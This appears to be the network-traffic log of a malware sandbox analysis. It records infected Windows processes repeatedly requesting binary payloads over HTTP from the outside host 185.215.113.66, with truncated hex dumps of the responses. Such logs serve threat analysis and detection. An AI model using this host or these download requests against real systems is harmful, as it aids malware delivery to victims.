May 8, 2024 15:22:49.024188995 CEST	1289	IN	Data Raw: cf ac a7 be eb 73 e4 d3 ed 5b 03 72 0a 74 77 67 b8 06 90 b3 68 26 cd 09 26 77 da e1 de 04 4a 31 c4 2a f5 4e d0 17 74 d1 64 56 8a 35 52 8e a2 c2 49 84 cb d5 ba 8a de 29 c8 64 33 1d ea 1f 9d 54 a4 dc a7 44 ad 90 58 ad 3d ed d8 e9 11 8b bf 96 37 2b Data Ascii: s[rtwgh&&wJ1NtdV5RI)d3TDX=7+_TDxdMT&J&XhG0{lwY]u</08I}F?yJxis}{2?FqiI]'Vv0KK'C_`B/E$=k5\$8
May 8, 2024 15:22:49.024203062 CEST	1289	IN	Data Raw: 18 ea 62 90 fb d4 85 d0 ad 0c ca 89 b2 53 60 05 7d 76 96 c6 1b 11 21 ee b4 7a fb 80 51 ed f3 ab 53 d4 03 87 1e e5 51 de b5 72 0c 29 40 27 ef fe 36 61 96 0b 02 9b d9 49 77 04 7e 0b be 98 bd b5 4e 86 ad 27 41 28 99 57 26 9d c5 79 01 3f 69 69 0b 0e Data Ascii: bS`}v!zQSQr)@'6aIw~N'A(W&y?iiz$X2Wq&44o#H<uwV5pWv;}]rxsi3}'/_:4!0EUD7H\l9B-uLr3%3)"iKYw_3b1!]/
May 8, 2024 15:22:49.024250984 CEST	1289	IN	Data Raw: 98 f8 17 51 a5 46 a9 06 8f 70 7e d1 56 4e 09 36 93 48 63 2d e4 5e 59 fe 7f d8 01 fc 73 11 04 eb 66 af 5f 05 e8 fa 5e 30 56 18 e8 12 c0 d7 0f 05 48 45 9f 97 4f b9 c8 ba a5 74 d5 06 3f 27 fd 27 2d af 17 cb 93 d8 14 f2 53 f2 fa 4e 30 b9 7c 59 d9 07 Data Ascii: QFp~VN6Hc-^Ysf_^0VHEOt?''-SN0\|Ye"I@/&'pz251my 50Ki8HP38FG^ZOEV-sOSBSp1@JlgTJrJg6gGwE\Wg
May 8, 2024 15:22:49.024271011 CEST	1289	IN	Data Raw: 41 d9 38 85 ee da 1f 10 58 78 ef c3 e6 5f 03 31 de e6 ca fb a1 25 b6 07 9d 1b b2 31 a6 4b f2 95 cf 45 5a 45 f9 ea 7f ba c1 4d b7 5b d9 ed 98 aa 58 ac f9 58 2c a7 8c 2a c0 64 76 05 f9 ea 6b 0c 6e a7 cc 9f 95 3a 5f 91 fe 5f 03 e9 99 02 db a3 ae cd Data Ascii: A8Xx_1%1KEZEM[XX,*dvkn:__p:2@{<@W^Y9UaKJ}_{J5J=N2)kF zXlyd}72iZbEkzf2<Meo9"fbuDgI:65+Zn(ylM
May 8, 2024 15:22:49.366421938 CEST	1289	IN	Data Raw: 04 f1 04 68 70 6d 25 a5 24 64 db 9c 1f 55 9b bb d5 7d 93 b6 b0 59 82 37 48 16 39 7d 95 ba d9 9a 0c e1 8a 9d ec 79 73 e1 b9 9e 01 ac 65 4e 76 07 47 59 6c eb 1a d5 8b f7 6c ba 2b bc 78 f5 54 f8 96 58 43 5d af 42 06 be 91 8b 5c d1 3e 11 89 bf 48 2b Data Ascii: hpm%$dU}Y7H9}yseNvGYll+xTXC]B\>H+8Y?vROQT$O<8c8]>!nxQt1K=Tm`loww?#@!C9/WHO+Rnym:\|5`Dd{K/(Y?
May 8, 2024 15:22:51.787626982 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:52.129470110 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:51 GMT Content-Type: application/octet-stream Content-Length: 22272 Last-Modified: Wed, 08 May 2024 11:20:38 GMT Connection: keep-alive ETag: "663b6006-5700" Accept-Ranges: bytes Data Raw: 9f 99 07 20 de 8d 44 f2 f6 13 df bc 7b 00 82 92 55 ab c0 21 68 c7 50 d3 19 59 e0 1a 73 e0 76 26 1b b0 8d 43 32 3a 53 97 36 02 bd b0 9d 94 d9 d9 e6 c8 59 cf e0 0e 72 c6 32 5a 9e 9f 97 7c cb 13 c9 e0 19 a5 09 12 87 cb ba 5b 7a e5 af 4d 86 e0 bc 1a 77 78 74 51 85 f5 3f e6 db 6b fc 38 23 e2 47 60 66 86 05 46 d4 d0 61 58 4d 7c 07 df 73 3a ff d9 2e a2 ab f2 89 a6 a5 fe 3f 10 d7 d2 54 e1 66 4c 7f c2 68 a8 2a 13 33 94 81 3c fe a8 55 4d 30 cd 47 a2 f1 35 9b 01 8a 74 b0 79 40 30 5e 56 b0 85 7c ea 4e 29 48 f8 b5 08 05 e7 2b cc 4c d6 f1 a7 9c 9d ed 33 a6 83 5c 4c ce 95 bd fb 74 2d e0 f4 7c fb 1e a8 da 7e b5 55 ad 3b 19 3b a0 c7 ff 22 a0 25 c0 02 20 9c c5 34 2b 3a 79 64 b2 1e 6b 85 de fc 1e 68 5f 98 1a f2 cf 49 c5 25 68 e5 3a 17 ab 13 f7 3b 97 e5 9b 39 16 54 78 41 b6 0c d2 97 ee 7f 2c c9 d6 d3 8c 0d 2e 2e 84 7e 43 b0 7d 2b a8 38 2a 03 a8 92 0a 7a b1 c5 c4 b4 12 c1 9b 29 d1 bd 69 42 b3 09 6c 81 d3 fc 77 f6 47 df 9f 8c 6d 12 1f 88 fb 8c 9f 6b 37 3b ec 4c 7e 36 f7 34 fa 50 ee 6a 0d 7c 09 14 68 b2 73 50 76 bc dc 4e [TRUNCATED] Data Ascii: D{U!hPYsv&C2:S6Yr2Z\|[zMwxtQ?k8#G`fFaXM\|s:.?TfLh3<UM0G5ty@0^V\|N)H+L3\Lt-\|~U;;"% 4+:ydkh_I%h:;9TxA,..~C}+8z)iBlwGmk7;L~64Pj\|hsPvN(~&rf&5a\|7{Jt\JW be)k1:Z7Np'P=Q84Dx8As.bi$56R2)K3WLZpP&&J{=.cCzhZjBB[!N>:.9v=LFC#GO\ Y6S{gf\|=zlA=R0Dqh}RN@yWhQTWTDS{9IYAfE",KUtKh)3/f4QWi#@NZ~qPp63!cEeV6T8`k?)x\]<SbA2xK? X&\|Lxvg(8YD.NL+o=(zuj2@Jj'6=m;A?<JX+K^($1i+:R2\|qnCo4jd=Gs%/'A+h"wji>*b [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49718	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:53.487994909 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:53.829191923 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:53 GMT Content-Type: application/octet-stream Content-Length: 22272 Last-Modified: Wed, 08 May 2024 11:20:38 GMT Connection: keep-alive ETag: "663b6006-5700" Accept-Ranges: bytes Data Raw: 9f 99 07 20 de 8d 44 f2 f6 13 df bc 7b 00 82 92 55 ab c0 21 68 c7 50 d3 19 59 e0 1a 73 e0 76 26 1b b0 8d 43 32 3a 53 97 36 02 bd b0 9d 94 d9 d9 e6 c8 59 cf e0 0e 72 c6 32 5a 9e 9f 97 7c cb 13 c9 e0 19 a5 09 12 87 cb ba 5b 7a e5 af 4d 86 e0 bc 1a 77 78 74 51 85 f5 3f e6 db 6b fc 38 23 e2 47 60 66 86 05 46 d4 d0 61 58 4d 7c 07 df 73 3a ff d9 2e a2 ab f2 89 a6 a5 fe 3f 10 d7 d2 54 e1 66 4c 7f c2 68 a8 2a 13 33 94 81 3c fe a8 55 4d 30 cd 47 a2 f1 35 9b 01 8a 74 b0 79 40 30 5e 56 b0 85 7c ea 4e 29 48 f8 b5 08 05 e7 2b cc 4c d6 f1 a7 9c 9d ed 33 a6 83 5c 4c ce 95 bd fb 74 2d e0 f4 7c fb 1e a8 da 7e b5 55 ad 3b 19 3b a0 c7 ff 22 a0 25 c0 02 20 9c c5 34 2b 3a 79 64 b2 1e 6b 85 de fc 1e 68 5f 98 1a f2 cf 49 c5 25 68 e5 3a 17 ab 13 f7 3b 97 e5 9b 39 16 54 78 41 b6 0c d2 97 ee 7f 2c c9 d6 d3 8c 0d 2e 2e 84 7e 43 b0 7d 2b a8 38 2a 03 a8 92 0a 7a b1 c5 c4 b4 12 c1 9b 29 d1 bd 69 42 b3 09 6c 81 d3 fc 77 f6 47 df 9f 8c 6d 12 1f 88 fb 8c 9f 6b 37 3b ec 4c 7e 36 f7 34 fa 50 ee 6a 0d 7c 09 14 68 b2 73 50 76 bc dc 4e [TRUNCATED] Data Ascii: D{U!hPYsv&C2:S6Yr2Z\|[zMwxtQ?k8#G`fFaXM\|s:.?TfLh3<UM0G5ty@0^V\|N)H+L3\Lt-\|~U;;"% 4+:ydkh_I%h:;9TxA,..~C}+8z)iBlwGmk7;L~64Pj\|hsPvN(~&rf&5a\|7{Jt\JW be)k1:Z7Np'P=Q84Dx8As.bi$56R2)K3WLZpP&&J{=.cCzhZjBB[!N>:.9v=LFC#GO\ Y6S{gf\|=zlA=R0Dqh}RN@yWhQTWTDS{9IYAfE",KUtKh)3/f4QWi#@NZ~qPp63!cEeV6T8`k?)x\]<SbA2xK? X&\|Lxvg(8YD.NL+o=(zuj2@Jj'6=m;A?<JX+K^($1i+:R2\|qnCo4jd=Gs%/'A+h"wji>*b [TRUNCATED]
May 8, 2024 15:22:53.829298973 CEST	1289	IN	Data Raw: 93 5f 6b ef 50 05 9e 69 25 3f 3f 17 47 85 2c 6b 90 92 25 c7 a4 33 c7 b4 ac 01 9f 3c 52 af 59 f7 8f 8c b2 8a 34 83 28 21 34 2c 08 b5 72 a3 55 ed 44 21 fc 8e 2b ad 22 49 d4 df 89 7f 22 e5 ce 47 01 f3 e1 b7 6a 95 90 ad a6 27 76 0c 70 18 34 86 d8 a7 Data Ascii: _kPi%??G,k%3<RY4(!4,rUD!+"I"Gj'vp494lqQ " [t%/ ,2wUJSxon2F;DI`yMis)p#{x1mWRHFpwYmv.J]%x;U'i%?^`}ihtPA
May 8, 2024 15:22:53.829318047 CEST	1289	IN	Data Raw: 1c c3 ae 56 be 98 01 6b 9c 1a 7b 08 4e 4a 39 5c 07 87 b3 5b 4f 13 bd 3b 89 f5 de 91 7a 53 87 d5 e3 12 66 87 50 62 62 19 16 47 a1 87 f9 8f 51 ef 1e 4c dd 49 0a 9c c2 51 5f ab bf 5f b4 35 c7 5a 28 84 16 e7 9a 31 36 4e dd 67 f8 5e e6 4a 7b c3 bf 40 Data Ascii: Vk{NJ9\[O;zSfPbbGQLIQ__5Z(16Ng^J{@>!HvxGA#J=$SI7l(f^43<P7Xic&mRwaRX_wj15^W:nkv0ExG"F&XI'7K7E"4 gX
May 8, 2024 15:22:53.829340935 CEST	1289	IN	Data Raw: 4f 94 78 c2 97 9b 63 5e be 60 17 93 29 44 bc d5 ec a9 b6 b4 08 90 51 3b 5d 99 88 3b 5e 0f 58 59 77 af 85 ff 08 65 fb e3 41 d7 e2 f9 54 96 02 47 8a ce 86 0b 91 33 f7 77 7b 52 57 56 74 07 cd bb f0 14 bb 02 b2 59 41 06 90 c8 43 63 75 9f 12 f7 70 b7 Data Ascii: Oxc^`)DQ;];^XYweATG3w{RWVtYACcup__BTY,q"KGCQ3c0QC/\|xB.Lv?X;Wg;cJrm%3Spc[!%dt y>yw{%dg)(Yr]srX!z
May 8, 2024 15:22:53.829361916 CEST	1289	IN	Data Raw: bb fc df 8d e3 0f af 38 97 7e 3c 5b 6a cb 09 b4 59 74 22 8d fb a9 0d f1 60 29 df 4e 90 14 35 9a 75 0a 76 65 4c b0 d5 9a 19 e2 87 dc e0 08 6c 3e d0 b6 f5 62 5c c2 fa 20 19 ef 55 b1 e0 ff 82 1b bf b5 10 12 e3 25 c3 9b 9d 61 84 57 33 23 b2 87 f1 d7 Data Ascii: 8~<[jYt"`)N5uveLl>b\ U%aW3#\|puO"^?,C5cRaCO($yf"[GH7me0_[1Da$q9&{\|oj5o6vT(eWnS-kI<ZV#~sX
May 8, 2024 15:22:53.829379082 CEST	1289	IN	Data Raw: aa 7c 5a 5d 16 d5 71 76 1e 04 c2 b4 d4 90 34 09 eb 56 cd 7d 84 8a 26 c8 b1 15 0d 92 67 ca fe b5 0f b7 5c cc 00 c7 55 08 91 20 53 0e 48 8e e0 75 2e 1a e9 cb 22 b9 eb bc 82 2c 7a 68 56 bd 3a 42 de 02 c6 de 61 ff 10 46 0a 83 2d 97 2a 29 9e 7b 31 05 Data Ascii: \|Z]qv4V}&g\U SHu.",zhV:BaF-){1:eU{TjoM{;4gb\rxa"-)K,K\Id-J\x/AT^)cv_21sc\|u7l&{oIt<'2IU;?!E<
May 8, 2024 15:22:53.829396963 CEST	1289	IN	Data Raw: ff 96 34 ff be 9f d7 1d 17 ae 97 a3 e3 1f 25 28 7f a0 76 42 96 9e 6b b3 fb 60 26 c6 18 ac ad fe b7 7a 33 c2 a5 df e6 1a 43 e0 e2 cb e8 3f 38 1c db 04 16 a1 a1 17 a5 e7 10 cb 46 d6 d5 05 02 4d 80 0d ec d3 b7 fc 89 ae ee 3c cb 96 1f cf ef 7f e1 75 Data Ascii: 4%(vBk`&z3C?8FM<ue\`O?)m<[nh7RpUT j%#0JjyAsY@Vy8jmtf"\|y#3)JG<*0YnhP,I#]a%>+Y
May 8, 2024 15:22:53.829413891 CEST	1289	IN	Data Raw: cc c0 d5 f6 76 58 dc 93 86 0a 7a 73 31 1b 86 f2 99 0b 0a c3 29 1f 18 eb 34 62 30 4f 97 68 7a a7 2b e4 dc 7f 15 02 1c 92 a5 dc 04 bc d8 80 89 c1 7d 31 8d cc 5e 00 3e d9 dd 36 a0 29 2a e4 f0 03 d2 9f fb 5e 89 a7 a8 88 0c db 7f 02 b8 4c 9a 20 b8 99 Data Ascii: vXzs1)4b0Ohz+}1^>6)^L hJL3j104-D.0(C"krOB/Wye(m?hH/"'>X,0YvMhl,]=.R~RO.qS5T{U
May 8, 2024 15:22:53.829516888 CEST	1289	IN	Data Raw: 19 89 96 e9 56 0f 9a 8c 19 b7 05 b4 27 39 21 25 b2 29 35 03 7e f7 f4 ad 75 ff 9f e3 00 20 68 f1 05 5f ae 80 44 41 3a 4f 23 2f d7 4a 79 1a 22 03 77 bd b2 c1 38 a8 21 72 fd 82 f9 23 8d bb de 86 5e 3b f3 ee 08 66 59 00 6d a4 13 79 80 f3 31 29 63 8f Data Ascii: V'9!%)5~u h_DA:O#/Jy"w8!r#^;fYmy1)cWz=9pHjje,]GcDOB)9l)VWdRyl}$C^dC$#nK/tmd}#x,<f7#[e\|/")UN+LG.ouX$Js=
May 8, 2024 15:22:53.829591990 CEST	1289	IN	Data Raw: b0 92 f6 3f 1d 3a a3 f2 72 e7 3c ab 2a 56 d3 0e 3d 84 af 84 17 ae fe f6 bf 04 fa eb a8 21 04 10 46 12 99 06 c0 53 db bb dc 0e e4 b2 22 b6 5c 5d 9c 7b 01 fa 03 3e 6e 9b 77 dc 88 bb 7a fb a2 03 db 1e 8b 86 87 65 f2 56 a1 a8 9b f0 68 45 e3 9b 87 f2 Data Ascii: ?:r<*V=!FS"\]{>nwzeVhES#n1KBCiD]p(Eqf$c&WhTos_49KJAZqRW'[LZE/+]RsLgQ_<OvqKKmL}:pfj^qh fW]
May 8, 2024 15:22:54.169622898 CEST	1289	IN	Data Raw: ae 13 d9 3c 80 95 1b 13 9e 3f c9 4c 70 f0 19 fc 72 a9 9d 72 9d 76 2d af 9d 78 f3 f8 ea f0 1a 30 30 f2 bc d5 d3 68 75 96 42 e1 16 bf 93 0f ed bd b7 9c 3a 47 ce 12 12 56 20 bf 54 2c 55 54 a9 64 4b e6 87 6a 07 a1 d0 67 f7 7d 50 da fd f5 9c 78 6d fc Data Ascii: <?Lprrv-x00huB:GV T,UTdKjg}PxmZyo!DaH,1$DSP<*J2m-Fhr&:O(d?QhBQ<Mh_)p"b,~b[KWZ5f:Gz}j[6,gXiR6
May 8, 2024 15:23:00.527477980 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:00.867768049 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:00 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Mon, 06 May 2024 15:56:03 GMT Connection: keep-alive ETag: "6638fd93-2300" Accept-Ranges: bytes Data Raw: 6e 7d d2 5f ce 4a 45 f2 2e c8 0a 06 01 ad 79 a1 63 76 36 9c 33 9d 4c 75 74 4a ce 78 8a 3c ef f0 d5 e4 b0 26 52 79 67 45 ad 70 d3 3a 4b 36 01 0e c6 16 f8 71 c8 1a 6a e2 64 71 7e b1 1a b9 f6 f8 f9 38 23 3c 26 8e 19 a9 67 be 75 d4 b0 b3 ee 7e 56 8d c9 d6 b2 19 08 98 9c 62 5d 08 84 18 e0 a4 81 52 52 f1 22 2d 57 91 35 b1 be bf 00 34 54 15 7a 9f 37 5a 41 a7 67 fd f5 f0 19 bc cb 4d 5d 3b 33 55 47 d7 29 48 84 09 d2 35 61 aa 27 75 84 62 9b 91 c9 fc d8 ab f6 d3 13 57 89 3f 95 ab 64 63 e7 73 c5 5e 05 a5 42 e3 0f 60 42 17 f5 88 3b 8c 25 27 7a 85 fa 04 37 4a f5 68 71 6d 2b 8a 84 61 c2 56 01 36 4f f4 55 cc fc 6b ff 18 a6 02 24 ce 28 d3 a3 ee 8d ef d1 4b 66 64 4b 50 7b ae d7 0c db 98 be e6 d7 4d 22 0d 84 e4 73 47 48 6f f3 f6 ce cb 17 4c 5d f2 e4 99 c3 e4 ef b5 2d 3d 28 e3 2f c2 fc a5 dc 8a c6 15 02 ae 33 6c f0 40 61 05 5b 9c 9f a9 81 6f 78 43 b8 d7 ca 55 ea 3c 2d c6 35 ea e5 78 8b 82 f5 67 d9 dc eb 87 ef 5c 2a 3d 82 67 a4 20 42 ba a1 a9 6e 52 5a b2 74 d1 ff 58 7d 97 69 5f d5 2e dd 2d 9b 94 06 26 3a 55 d4 63 0c 97 [TRUNCATED] Data Ascii: n}_JE.ycv63LutJx<&RygEp:K6qjdq~8#<&gu~Vb]RR"-W54Tz7ZAgM];3UG)H5a'ubW?dcs^B`B;%'z7Jhqm+aV6OUk$(KfdKP{M"sGHoL]-=(/3l@a[oxCU<-5xg\=g BnRZtX}i_.-&:UcRSTud^3n<YyiiIetwjEJIe9n[~RTz~-g eKqBga-2bgeG\Kk-M5668Gjj+N<"AY<A0PMXZdlLPVevy2lHS2>Nn<p5q7Rpet \w\3]OzWt\<7$Z/BNeoq#q4V5r0%)-`9u%:oF8Li~}WJ3VV0}4tVT[O+27Gt!rn<DI3KI=0FlLW~^'.Am~U<lab+GIJrKEf`.0t}0^"q';1q1?n=:NOrsGDjw_Hi`DkkHjAfi\&y57v~$~H [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49719	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:56.215485096 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:56.561414957 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:56 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:40 GMT Connection: keep-alive ETag: "663a7350-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:22:56.561429977 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:22:56.561443090 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:22:56.561491966 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:22:56.561506987 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:22:56.561968088 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:22:56.561980963 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:22:56.561992884 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB
May 8, 2024 15:23:03.404200077 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:03.747179031 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:03 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:44 GMT Connection: keep-alive ETag: "663a7354-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB 